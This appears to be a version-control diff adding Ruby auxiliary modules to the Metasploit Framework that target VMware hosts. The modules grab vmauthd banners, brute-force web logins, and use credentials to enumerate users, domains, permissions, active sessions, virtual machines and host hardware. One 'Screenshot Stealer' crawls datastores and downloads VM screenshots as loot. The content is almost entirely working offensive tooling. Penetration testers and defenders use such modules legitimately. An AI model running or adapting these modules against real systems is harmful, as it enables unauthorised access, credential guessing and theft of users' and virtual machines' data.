'Description' => %q{
This module will identify information about a host through the
vmauthd service.
},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>', 'hdm'],
'License' => MSF_LICENSE
)
register_options([Opt::RPORT(902)])
end
def run_host(ip)
begin
connect rescue nil
if not self.sock
return
end
banner = sock.get_once(-1, 10)
if not banner
print_error "#{rhost}:#{rport} No banner received from vmauthd"
return
end
banner = banner.strip
unless banner =~ /VMware Authentication Daemon/
print_error "#{rhost}:#{rport} This does not appear to be a vmauthd service"
return
end
cert = nil
if banner =~ /SSL/
print_status("#{rhost}:#{rport} Switching to SSL connection...")
swap_sock_plain_to_ssl
cert = self.sock.peer_cert
end
if cert
banner << " Certificate:#{cert.subject.to_s}"
end
print_status "#{rhost}:#{rport} Banner: #{banner}"
report_service(
:host => rhost,
:port => rport,
:sname => 'vmauthd',
:info => banner,
:proto => 'tcp'
)
rescue ::Interrupt
raise $!
ensure
disconnect
end
end
def do_login(user, pass, nsock=self.sock)
nsock.put("USER #{user}\r\n")
res = nsock.get_once
unless res.start_with? "331"
ret_msg = "Unexpected reply to the USER command: #{res}"
return ret_msg
end
nsock.put("PASS #{pass}\r\n")
res = nsock.get_once
if res.start_with? "530"
return :failed
elsif res.start_with? "230"
return :success
else
ret_msg = "Unexpected reply to the PASS command: #{res}"
return ret_msg
end
end
def swap_sock_plain_to_ssl(nsock=self.sock)
ctx = generate_ssl_context()
ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx)
ssl.connect
nsock.extend(Rex::Socket::SslTcp)
nsock.sslsock = ssl
nsock.sslctx = ctx
end
def generate_ssl_context
ctx = OpenSSL::SSL::SSLContext.new(:SSLv3)
@@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){ }
ctx.key = @@cached_rsa_key
ctx.session_id_context = Rex::Text.rand_text(16)
return ctx
end
end

View File

@ -0,0 +1,98 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Enumerate Permissions',
'Version' => '$Revision$',
'Description' => %Q{
This module will log into the Web API of VMWare and try to enumerate
all the user/group permissions. Unlike enum suers this is only
users and groups that specifically have permissions defined within
the VMware product},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
], self.class)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
role_map = {}
esx_roles = vim_get_roles
case esx_roles
when :noresponse
print_error "Recieved no Response from #{ip}"
when :expired
print_error "The login session appears to have expired on #{ip}"
when :error
print_error "An error occured while trying to enumerate the roles on #{ip}"
else
esx_roles.each do |role|
role_map[role['roleId']] = {
"name" => role['name'],
"system" => role['system'],
"summary" => role['info']['summary']
}
end
end
esx_permissions = vim_get_all_permissions
case esx_permissions
when :noresponse
print_error "Recieved no Response from #{ip}"
when :expired
print_error "The login session appears to have expired on #{ip}"
when :error
print_error "An error occured while trying to enumerate the permissions on #{ip}"
else
tmp_perms = Rex::Ui::Text::Table.new(
'Header' => "Permissions for VMWare #{ip}",
'Indent' => 1,
'Columns' => ['Name', 'IsAGroup', 'Role', 'Role Summary']
)
esx_permissions.each do |perm|
role_name = role_map[perm['roleId']]['name']
role_summary = role_map[perm['roleId']]['summary']
tmp_perms << [perm['principal'], perm['group'], role_name , role_summary]
end
print_good tmp_perms.to_s
store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions")
end
else
print_error "Login Failure on #{ip}"
return
end
end
end

View File

@ -0,0 +1,80 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Enumerate Active Sessions',
'Version' => '$Revision$',
'Description' => %Q{
This module will log into the Web API of VMWare and try to enumerate
all the login sessions.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
], self.class)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
vim_sessions = vim_get_session_list
case vim_sessions
when :noresponse
print_error "Connection Error - Recieved No Reply from #{ip}"
when :error
print_error "An error has occured"
when :expired
print_error "The Session is no longer Authenticated"
else
output = ''
vim_sessions.each do |vsession|
tmp_line = "Name: #{vsession['fullName']} \n\t"
tmp_line << "Active: #{vim_session_is_active(vsession['key'],vsession['userName'])} \n\t"
tmp_line << "Username: #{vsession['userName']}\n\t"
tmp_line << "Session Key: #{vsession['key']}\n\t"
tmp_line << "Locale: #{vsession['locale']}\n\t"
tmp_line << "Login Time: #{vsession['loginTime']}\n\t"
tmp_line << "Last Active Time: #{vsession['lastActiveTime']}\n\n"
print_good tmp_line
output << tmp_line
end
unless output.empty?
store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware")
end
end
else
print_error "Login Failure on #{ip}"
return
end
end
end

View File

@ -0,0 +1,140 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Enumerate User Accounts',
'Version' => '$Revision$',
'Description' => %Q{
This module will log into the Web API of VMWare and try to enumerate
all the user accounts. If the VMware instance is connected to one or
more domains, it will try to enumerate domain users as well.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
], self.class)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
#Get local Users and Groups
user_list = vim_get_user_list(nil)
tmp_users = Rex::Ui::Text::Table.new(
'Header' => "Users for server #{ip}",
'Indent' => 1,
'Columns' => ['Name', 'Description']
)
tmp_groups = Rex::Ui::Text::Table.new(
'Header' => "Groups for server #{ip}",
'Indent' => 1,
'Columns' => ['Name', 'Description']
)
unless user_list.nil?
case user_list
when :noresponse
print_error "Recieved no Response from #{ip}"
when :expired
print_error "The login session appears to have expired on #{ip}"
when :error
print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}"
else
user_list.each do |obj|
if obj['group'] == 'true'
tmp_groups << [obj['principal'], obj['fullName']]
else
tmp_users << [obj['principal'], obj['fullName']]
end
end
print_good tmp_groups.to_s
store_loot('host.vmware.groups', "text/plain", datastore['RHOST'], tmp_groups.to_csv , "#{datastore['RHOST']}_esx_groups.txt", "VMWare ESX User Groups")
print_good tmp_users.to_s
store_loot('host.vmware.users', "text/plain", datastore['RHOST'], tmp_users.to_csv , "#{datastore['RHOST']}_esx_users.txt", "VMWare ESX Users")
end
end
#Enumerate Domains the Server is connected to
esx_domains = vim_get_domains
case esx_domains
when :noresponse
print_error "Recieved no Response from #{ip}"
when :expired
print_error "The login session appears to have expired on #{ip}"
when :error
print_error "An error occured while trying to enumerate the domains on #{ip}"
else
#Enumerate Domain Users and Groups
esx_domains.each do |domain|
tmp_dusers = Rex::Ui::Text::Table.new(
'Header' => "Users for domain #{domain}",
'Indent' => 1,
'Columns' => ['Name', 'Description']
)
tmp_dgroups = Rex::Ui::Text::Table.new(
'Header' => "Groups for domain #{domain}",
'Indent' => 1,
'Columns' => ['Name', 'Description']
)
user_list = vim_get_user_list(domain)
case user_list
when nil
next
when :noresponse
print_error "Recieved no Response from #{ip}"
when :expired
print_error "The login session appears to have expired on #{ip}"
when :error
print_error "An error occured while trying to enumerate the users for #{domain} on #{ip}"
else
user_list.each do |obj|
if obj['group'] == 'true'
tmp_dgroups << [obj['principal'], obj['fullName']]
else
tmp_dusers << [obj['principal'], obj['fullName']]
end
end
print_good tmp_dgroups.to_s
store_loot('domain.groups', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_groups.txt", "VMWare ESX #{domain} Domain User Groups")
print_good tmp_dusers.to_s
store_loot('domain.users', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_users.txt", "VMWare ESX #{domain} Domain Users")
end
end
end
else
print_error "Login Failure on #{ip}"
return
end
end
end

View File

@ -0,0 +1,90 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Enumerate Virtual Machines',
'Description' => %Q{
This module attempts to discover virtual machines on any VMWare instance
running the web interface. This would include ESX/ESXi and VMWare Server.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptBool.new('SCREENSHOT', [true, "Wheter or not to try to take a screenshot", true])
], self.class)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
virtual_machines = vim_get_vms
virtual_machines.each do |vm|
print_good YAML.dump(vm)
report_note(
:host => rhost,
:type => "vmware.esx.vm",
:data => vm,
:port => rport,
:proto => 'tcp',
:update => :unique_data
)
next unless datastore['SCREENSHOT'] and vm['runtime']['powerState'] == 'poweredOn'
print_status "Attempting to take screenshot of #{vm['name']}...."
screenshot = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
case screenshot
when :error
print_error "Screenshot failed"
next
when :expired
vim_do_login(datastore['USERNAME'], datastore['PASSWORD'])
retry_result = vim_take_screenshot(vm, datastore['USERNAME'], datastore['PASSWORD'] )
if retry_result == :error or retry_result == :expired
print_error "Screenshot failed"
else
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], retry_result, "#{vm['name']}_screenshot.png", "Screenshot of VM #{vm['name']}")
print_good "Screenshot Saved to #{ss_path}"
end
else
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], screenshot, "screenshot.png", "Screenshot of VM #{vm['name']}")
print_good "Screenshot Saved to #{ss_path}"
end
end
store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines")
else
print_error "Login Failure on #{ip}"
return
end
end
end

View File

@ -0,0 +1,64 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Enumerate Host Details',
'Version' => '$Revision$',
'Description' => %Q{
This module attempts to enumerate information about the host systems through the VMWare web API.
This can include information about the hardware installed on the host machine.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false])
], self.class)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
output = "VMWare Host at #{ip} details\n"
output << "-----------------------------\n"
host_summary = vim_get_all_host_summary(datastore['HW_DETAILS'])
output << YAML.dump(host_summary)
print_good output
store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details")
else
print_error "Login Failure on #{ip}"
return
end
end
end

View File

@ -15,11 +15,10 @@ require 'rex/proto/ntlm/message'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::VIMSoap
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize
@ -27,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
'Name' => 'VMWare Web Login Scanner',
'Version' => '$Revision$',
'Description' => 'This module attempts to authenticate to the VMWare HTTP service
for VMWare Server, ESX, and ESXi',
for VmWare Server, ESX, and ESXI',
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'References' =>
[
@ -38,96 +37,98 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('URI', [true, "The default URI to login with", "/sdk"]),
Opt::RPORT(443)
], self.class)
end
def run_host(ip)
return unless check(ip)
return unless check
each_user_pass { |user, pass|
result = do_login(user, pass)
result = vim_do_login(user, pass)
case result
when :success
print_good "#{ip}:#{rport} - Successful Login! (#{user}:#{pass})"
print_good "#{rhost}:#{rport} - Successful Login! (#{user}:#{pass})"
report_auth_info(
:host => rhost,
:port => rport,
:user => user,
:pass => pass,
:proto => 'tcp',
:sname => 'https',
:source_type => "user_supplied",
:active => true
)
return if datastore['STOP_ON_SUCCESS']
when :fail
print_error "#{ip}:#{rport} - Login Failure (#{user}:#{pass})"
print_error "#{rhost}:#{rport} - Login Failure (#{user}:#{pass})"
end
}
end
# Mostly taken from the Apache Tomcat service validator
def check(ip)
datastore['URI'] ||= "/sdk"
user = Rex::Text.rand_text_alpha(8)
pass = Rex::Text.rand_text_alpha(8)
def check
soap_data =
%Q|<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Body>
<RetrieveServiceContent xmlns="urn:vim25">
<_this type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</env:Body>
</env:Envelope>|
begin
res = send_request_cgi({
'uri' => datastore['URI'],
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => gen_soap_data(user,pass)
'data' => soap_data
}, 25)
if res
fp = http_fingerprint({ :response => res })
if fp =~ /VMWare/
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => fp)
return true
else
vprint_error("http://#{ip}:#{rport} - Could not identify as VMWare")
return false
end
fingerprint_vmware(res)
else
vprint_error("http://#{ip}:#{rport} - No response")
vprint_error("#{rhost}:#{rport} Error: no response")
end
rescue ::Rex::ConnectionError => e
vprint_error("http://#{ip}:#{rport}#{datastore['URI']} - #{e}")
vprint_error("#{rhost}:#{rport} Error: could not connect")
return false
rescue
vprint_error("Skipping #{ip} due to error - #{e}")
vprint_error("#{rhost}:#{rport} Error: #{e}")
return false
end
end
def gen_soap_data(user,pass)
soap_data = []
soap_data << '<SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
soap_data << ' <SOAP-ENV:Body>'
soap_data << ' <Login xmlns="urn:vim25">'
soap_data << ' <_this type="SessionManager">ha-sessionmgr</_this>'
soap_data << ' <userName>' + user.to_s + '</userName>'
soap_data << ' <password>' + pass.to_s + '</password>'
soap_data << ' </Login>'
soap_data << ' </SOAP-ENV:Body>'
soap_data << '</SOAP-ENV:Envelope>'
soap_data.join
def fingerprint_vmware(res)
unless res
vprint_error("#{rhost}:#{rport} Error: no response")
return false
end
return false unless res.body.include?('<vendor>VMware, Inc.</vendor>')
os_match = res.body.match(/<name>([\w\s]+)<\/name>/)
ver_match = res.body.match(/<version>([\w\s\.]+)<\/version>/)
build_match = res.body.match(/<build>([\w\s\.\-]+)<\/build>/)
full_match = res.body.match(/<fullName>([\w\s\.\-]+)<\/fullName>/)
if full_match
print_good "#{rhost}:#{rport} - Identified #{full_match[1]}"
report_service(:host => rhost, :port => rport, :proto => 'tcp', :sname => 'https', :info => full_match[1])
end
if os_match and ver_match and build_match
if os_match[1] =~ /ESX/ or os_match[1] =~ /vCenter/
this_host = report_host( :host => rhost, :os_name => os_match[1], :os_flavor => ver_match[1], :os_sp => "Build #{build_match[1]}" )
end
return true
else
vprint_error("#{rhost}:#{rport} Error: Could not identify as VMWare")
return false
end
end
def do_login(user, pass)
res = send_request_cgi({
'uri' => '/sdk',
'method' => 'POST',
'agent' => 'VMware VI Client',
'data' => gen_soap_data(user,pass)
}, 25)
if res.code == 200
return :success
else
return :fail
end
end
end

View File

@ -0,0 +1,111 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/exploit/vim_soap'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::VIMSoap
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'VMWare Screenshot Stealer',
'Version' => '$Revision$',
'Description' => %Q{
This module uses supplied login credentials to connect to VMWare via
the web interface. It then searches through the datastores looking for screenshots.
It will downlaod any screenshots it finds and save them as loot.},
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ])
], self.class)
end
def run_host(ip)
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
@user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])
crawl_page('/folder')
else
print_error "Login Failure on #{ip}"
return
end
end
def crawl_page(path, parent='')
res = send_request_cgi({
'uri' => path,
'method' => 'GET',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
}, 25)
if res
@vim_cookie = res.headers['Set-Cookie']
if res.code== 200
res.body.scan(/<a href="([\w\/\?=&;%]+)">/) do |match|
link = match[0]
link.gsub!('&amp;', '&')
case link
when /%2epng?/
img_name = Rex::Text::uri_decode(link.match(/\/([\w\?=&;%]+%2epng)/)[1])
print_good "Screenshot Found: #{img_name} Full Path: #{link}"
grab_screenshot(link, img_name)
when /%2e(?!png)/
next
when parent
next
else
crawl_page(link, path)
end
end
elsif res.code == 401
print_error "Authorization Failure for: #{path}"
end
end
end
def grab_screenshot(path, name)
res = send_request_cgi({
'uri' => path,
'method' => 'GET',
'cookie' => @vim_cookie,
'headers' => { 'Authorization' => "Basic #{@user_pass}"}
}, 25)
if res
@vim_cookie = res.headers['Set-Cookie']
if res.code == 200
img = res.body
ss_path = store_loot("host.vmware.screenshot", "image/png", datastore['RHOST'], img, name , "Screenshot of VM #{name}")
print_status "Screenshot saved to #{ss_path}"
else
print_error "Failed to retrieve screenshot at #{path} HTTP Response code #{res.code} "
end
else
print_error "Failed to retrieve screenshot: there was no reply"
end
end
end